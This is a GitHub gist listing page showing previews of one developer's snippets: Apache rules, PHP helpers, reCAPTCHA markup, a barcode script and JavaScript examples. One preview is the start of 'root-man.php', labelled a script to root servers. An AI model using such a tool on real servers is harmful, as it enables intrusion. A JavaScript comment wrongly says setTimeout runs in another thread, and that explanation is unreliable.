Skip to content

Instantly share code, notes, and snippets.

View fhdalikhan's full-sized avatar
🏠
Working from home

Fahad Ali Khan fhdalikhan

🏠
Working from home
  • Karachi, Pakistan.
View GitHub Profile
@fhdalikhan
fhdalikhan / .htaccess
Created February 11, 2019 08:40
Redirect to https from http via apache .htaccess
RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]
@fhdalikhan
fhdalikhan / LogHelper.php
Created February 19, 2019 06:50
A PHP logging helper class
<?php
namespace application\classes\LogHelper;
class LogHelper
{
protected $logFile;
protected $deeplogFile;
public function __construct()
@fhdalikhan
fhdalikhan / root-man.php
Created February 20, 2019 06:28
Script used to root servers.
<?php
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
@fhdalikhan
fhdalikhan / gist:892b7fc2ac92bdcac437f5c6c6569864
Last active February 21, 2019 08:05
For Adding Recaptcha
// add js
<script src='https://www.google.com/recaptcha/api.js'></script>
// in html
<div class="g-recaptcha" data-sitekey="YOUR_SITEKEY"></div>
// for showing visual feedback if captcha is not selected
<script>
@fhdalikhan
fhdalikhan / visibility-change.js
Last active March 28, 2019 10:57
Hook into the page's visible event, for e.g. if a page tab goes into backgroud or if a page tab becomes active
document.addEventListener("visibilitychange", function() {
console.log( document.visibilityState );
});
@fhdalikhan
fhdalikhan / .htaccess
Created March 7, 2019 05:42
Disable Script Processing For Directory, Copied from blueimp/jQuery-File-Upload library, this will be usefull for a dir which saves uploaded files.
# To enable the Headers module, execute the following command and reload Apache:
# sudo a2enmod headers
# The following directives prevent the execution of script files
# in the context of the website.
# They also force the content-type application/octet-stream and
# force browsers to display a download dialog for non-image files.
SetHandler default-handler
ForceType application/octet-stream
Header set Content-Disposition attachment
@fhdalikhan
fhdalikhan / barcode.php
Created March 11, 2019 08:36
Create barcode in PHP
<?php
/*
* Author David S. Tufts
* Company davidscotttufts.com
*
* Date: 05/25/2003
* Usage: <img src="/barcode.php?text=testing" alt="testing" />
*/
// For demonstration purposes, get pararameters that are passed in through $_GET or set to the default value
$filepath = (isset($_GET["filepath"])?$_GET["filepath"]:"");
@fhdalikhan
fhdalikhan / country_phone_codes.html
Last active March 12, 2019 08:23
HTML select element with options for country phone codes
<select name="country_phone_code">
<option value="+93">Afghanistan (+93)</option>
<option value="+355">Albania (+355)</option>
<option value="+213">Algeria (+213)</option>
<option value="+1">American Samoa (+1)</option>
<option value="+376">Andorra (+376)</option>
<option value="+244">Angola (+244)</option>
<option value="+1">Anguilla (+1)</option>
<option value="+1">Antigua and Barbuda (+1)</option>
@fhdalikhan
fhdalikhan / AuthServiceProvider.php
Created March 26, 2019 06:52 — forked from ralphschindler/AuthServiceProvider.php
Laravel 5.8 Policy Guesser For Using "Models" Directory
<?php
namespace App\Providers;
use Illuminate\Foundation\Support\Providers\AuthServiceProvider as ServiceProvider;
use Illuminate\Support\Facades\Gate;
class AuthServiceProvider extends ServiceProvider
{
/**
@fhdalikhan
fhdalikhan / single_thread_example.js
Last active April 23, 2019 08:03
Javascript single threaded nature examples below.
// output is 1,3,2
console.log('1');
window.setTimeout(function(){
console.log('2');
}, 0);
console.log('3');
// because javascript is single threaded, i.e. a block of code is executed in a single thread.
// setTimeout and setInterval are special because they are executed in another thread.
// setTimeout and setInterval send the code to the end of the event bus, they are executed in last.